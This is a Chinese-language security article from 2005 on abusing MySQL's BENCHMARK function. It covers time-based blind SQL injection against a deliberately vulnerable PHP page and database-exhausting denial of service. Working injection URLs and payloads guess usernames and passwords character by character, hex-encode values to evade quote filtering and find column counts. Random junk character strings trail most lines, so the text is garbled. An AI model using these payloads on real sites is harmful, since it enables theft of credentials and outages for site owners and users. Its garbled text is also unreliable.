MYSQL中BENCHMARK函数的利用 " o( V/ T8 I, G
本文作者:SuperHei
! i, u3 `% f# V文章性质:原创
+ z; d; @" k0 F e S, y0 {发布日期:2005-01-020 W0 s4 v4 ?3 ?/ F! ^0 e
完成日期:2004-07-09
( C& y) u8 e( s* U. _' _$ u7 j5 U9 R第一部7 e' a7 Z4 j( R* y5 S
6 ^1 f( e" a& z. ]
利用时间推延进行注射---BENCHMARK函数在注射中的利用 8 r# z( P2 I$ D4 m
; Z( u. j D" {# t一.前言/思路
; ?1 W: S0 {. k% \5 K/ \9 T o
" P( U) z! i8 [8 {( m 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。) l; h* ~8 k( `% K% {6 W
' @9 ]' j. A" \. C# h0 ^
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。' ~4 z' ^* N8 P* j s, H/ O: m
) L8 n/ z; l/ r# j" | I0 w二.关于BENCHMARK函数2 \3 m1 |# G6 s8 n0 V$ |! D8 m
8 @2 \/ c! w3 N' v ?$ y 在MySQL参考手册里可以看到如下描叙:
, c/ p# M7 b Q( q- o1 W* }7 p
5 M! S9 c/ }5 V0 W0 f! h8 A, K/ K% g) a ^/ @
--------------------------------------------------------------------------------& Q4 _3 r2 W% @& [+ H4 ~- e
2 h: ^# Z- y$ L8 w1 z7 HBENCHMARK(count,expr)
) e- S, y8 W* e M+ YBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
" ~. Z! b: b5 {4 V3 \mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
" Q+ w$ a% z K% m+ F+----------------------------------------------+
/ r W! b! k: m1 ]) t" R) e( g| BENCHMARK(1000000,encode("hello","goodbye")) | 6 f) r( u) b6 M" R8 w0 m/ G4 A
+----------------------------------------------+ 7 k! A/ ?$ o+ t1 r
| 0 | . o7 T, a+ q$ u$ N1 L# C2 p" @6 T
+----------------------------------------------+ ( T, l8 ^- @" r# x0 Y
1 row in set (4.74 sec) ! u; Y- U! m$ B. e! Y3 {
6 p% ]; S+ m+ k报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。0 c; o7 [6 H1 t0 K5 B
5 V* y& i0 p6 u( q7 [4 ?8 i& k+ ^# z
) u. y" ~- b! J1 X7 |! F: B( Y; u4 `--------------------------------------------------------------------------------
# m! T$ J9 a# {& n3 n
9 H* F! ^) o# O4 a) m* d; J [, P 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
- ]5 x$ l1 X B1 z) C8 T0 \* \6 s1 x; b t: T
mysql> select md5( 'test' ); ! |3 x* ^0 b) V& \+ n- ]' ? C
+----------------------------------+ . M: q7 }2 o( _* D
| md5( 'test' ) | h. i6 f, y8 ]% L. Y
+----------------------------------+ ! s. D2 S& r% E: F' T3 a7 l
| 098f6bcd4621d373cade4e832627b4f6 | ( v' ?( e6 ?, }# D, n: l$ X
+----------------------------------+
! W" R7 J# D+ g' x* w, o1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
. o0 K, R2 [+ v( F W6 D/ c3 d1 v
8 d7 d2 o, S# e! {# c; U, hmysql> select benchmark( 500000, md5( 'test' ) );
+ z1 C0 f1 c" L6 O+ l9 k' T+------------------------------------+ 2 k1 M8 r/ r$ `4 k% I3 ]* n0 F
| benchmark( 500000, md5( 'test' ) ) |
" Z9 u0 ^, D7 G/ r+------------------------------------+ " V* P# N$ C$ ]) U2 Y! r
| 0 |
/ j2 D" V2 u, M7 d+------------------------------------+
" |7 F3 m# }- }) w' L4 @1 row in set (6.55 sec) 〈------------执行时间为6.55 sec. M2 O9 l8 K2 d
8 ~$ R' b7 |3 k4 t+ s/ j
9 g* D- v! ^# Y4 a: m 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 3 t" `; d+ M) O) _; l
% z6 l# \4 u' X- w2 W* X4 W# x
三.具体例子 [* g' Y' a% D7 S7 {+ A, M5 x. \; Z
/ }7 ~1 d/ [" V" z4 ?9 k
首先我们看个简单的php代码:( \3 e; G1 {$ w( k
1 \( _% V" v$ }* I' o9 ?
< ?php % A4 B) ?! h9 u' ?9 p! {9 v
$servername = "localhost"; ! z% [; G% ^2 j" L. z9 h% l5 K
$dbusername = "root";
3 X# [3 X' }5 y z$dbpassword = "";
- z( [# \! `- X6 a2 m. G/ s$dbname = "injection";
+ M4 D9 e1 U2 P! n& }. q# y2 \# R" X! D. S& A( X
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
3 \+ \$ z6 f, H1 o" U9 L5 K; |$ _* X8 `* Q/ q
$sql = "SELECT * FROM article WHERE articleid=$id"; + N6 m$ C5 H* ]
$result = mysql_db_query($dbname,$sql); ) g1 U* h- E9 s
$row = mysql_fetch_array($result);
1 m6 {, s( \" ~/ v$ D
) c/ o0 s7 m* }1 u1 Cif (!$row)
8 x& t$ a7 K, z1 Z- a{
" h C& T& W6 v* d9 j; n! Hexit; 4 M7 ^0 m6 O& d( Y! e9 a5 z
} # z& c1 x& m; r+ [3 ~
?>( u+ N @+ A1 B4 B3 }
6 l! J* v& T% q2 z
3 [. ~' u8 ]; q& e& D. t) C" E3 V 数据库injection结构和内容如下:
' |8 c j* g1 _6 I+ q! Q+ i. [( V" G+ L; j& i5 e$ M5 P
# 数据库 : `injection`
+ y2 G3 Y) t( i& w. A#
' o; Y. H, o5 x g5 l) E/ ~1 L( H# p! G K, j2 o8 E4 A2 h# Z
# --------------------------------------------------------
0 V5 J3 S1 E# p7 p% Z: D F1 A! B. d2 O$ A b8 E
#
0 M7 A+ z6 F4 [3 x% P5 k: N5 g# X# 表的结构 `article` * [( |- A3 J+ Y1 d5 N" M
#
1 C1 r4 ?% K% N$ I8 M8 [
( w5 [6 L/ @4 J0 h NCREATE TABLE `article` ( - F# S) G) {: j! j6 ^/ ~
`articleid` int(11) NOT NULL auto_increment, + ~3 m% t1 |: ?* \- H4 S
`title` varchar(100) NOT NULL default '', ' k* u: ]$ ?& V( Y9 {5 H
`content` text NOT NULL, : y1 q! \3 q; l( x
PRIMARY KEY (`articleid`)
; ~9 ]# ?" O1 K) TYPE=MyISAM AUTO_INCREMENT=3 ;
$ V# I& T) b/ j6 h) {8 {
% C! D1 u( {( F& p6 b1 B; E2 ~#
) L" v+ U1 b. c& E# 导出表中的数据 `article`
/ d# W1 j, R; V& j. H# 5 q/ W$ O% B' h' i# k. J
$ W" S }/ c" M; H6 B6 C/ yINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); & ]& j; S5 B% P% W7 v
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
. m8 H( a$ [' h9 S( b! C' |
& P5 _1 Z7 |9 A) L1 v# -------------------------------------------------------- 7 m4 ]/ Q+ w5 O, h+ f; U
4 f# h* O7 o: ]
#
! R2 d% A; A% c/ a) q) a# 表的结构 `user`
7 q* j. L" a7 X# H: r6 j7 c: l#
, C) Q% P+ X3 ^7 o' z* C5 t) }1 k: |7 g
CREATE TABLE `user` ( ! n" |/ w2 e9 l
`userid` int(11) NOT NULL auto_increment,
* E. J K) t$ \/ a( R! T5 ^`username` varchar(20) NOT NULL default '', $ Y7 H0 ]+ @( D. l% A% m
`password` varchar(20) NOT NULL default '', 2 d) N$ p: x6 S7 y5 ^* N
PRIMARY KEY (`userid`)
) i2 ?* B) n0 H, F6 D5 X) TYPE=MyISAM AUTO_INCREMENT=3 ; ( S0 I! @$ P: Z5 Q( T3 p
8 U$ z6 e% Z/ e' S! ~# ' k W. w# b* c# o& _ G* Z5 v
# 导出表中的数据 `user`
5 y. Y& r2 z6 j4 Y2 ^#
% N c# V, x: G) D1 u2 f* f2 P) D" {+ @3 s5 h* P
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); % X* F3 b9 o1 I7 b% g
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');0 b. H; F6 v9 x @
4 t: e6 P( ]8 H% O& B
2 m5 z; n/ X2 o 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
0 l- _7 a9 ]! ?& L: d9 R! k8 s, R* g [7 [+ y
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*) K7 p- b/ o y6 C% a
% x2 j8 ]9 K% R; K
5 T' q; {+ ]7 h. P3 W) F+ h 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
( D6 ~7 I: C' h- Y
7 Z8 H0 A% v/ p% x M: t3 Qhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*4 h1 O# Z' X7 P" i. H
5 r7 Q# x5 k: d! ~$ Z$ ]% z0 R5 u5 {9 z
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 : ?0 e$ K8 G! ^' g5 @
9 |0 n# G, O5 q N6 C& [6 Y 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ; F/ |8 `& y, n7 `! A2 X5 T
- K" p2 P+ V4 z9 N第二部
0 D8 ]. e# I$ e' o& B6 _7 r, S* X. \9 v. E4 h
利用BENCHMARK函数进行ddos攻击 ( u$ F# H# g" H" B5 A
, g# s) n" |0 `4 D! p
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
- m0 M* U- p: A q/ F6 ]5 c- I+ j. ~+ ^+ }
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))4 S ^) u7 B- f
* q3 h! j" S! E& _6 r6 n. _ X/ e8 f: {2 n2 [7 r5 G
小结
, r. m4 \4 l, R' W: ?# p- i' B
6 V% n1 j2 D, t& }6 h! X; } 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。7 Q3 d( M5 M t3 |$ L! l2 \! n9 z
J( I, E! x9 b: g
+ [1 L$ H0 ?: U9 _* b; t |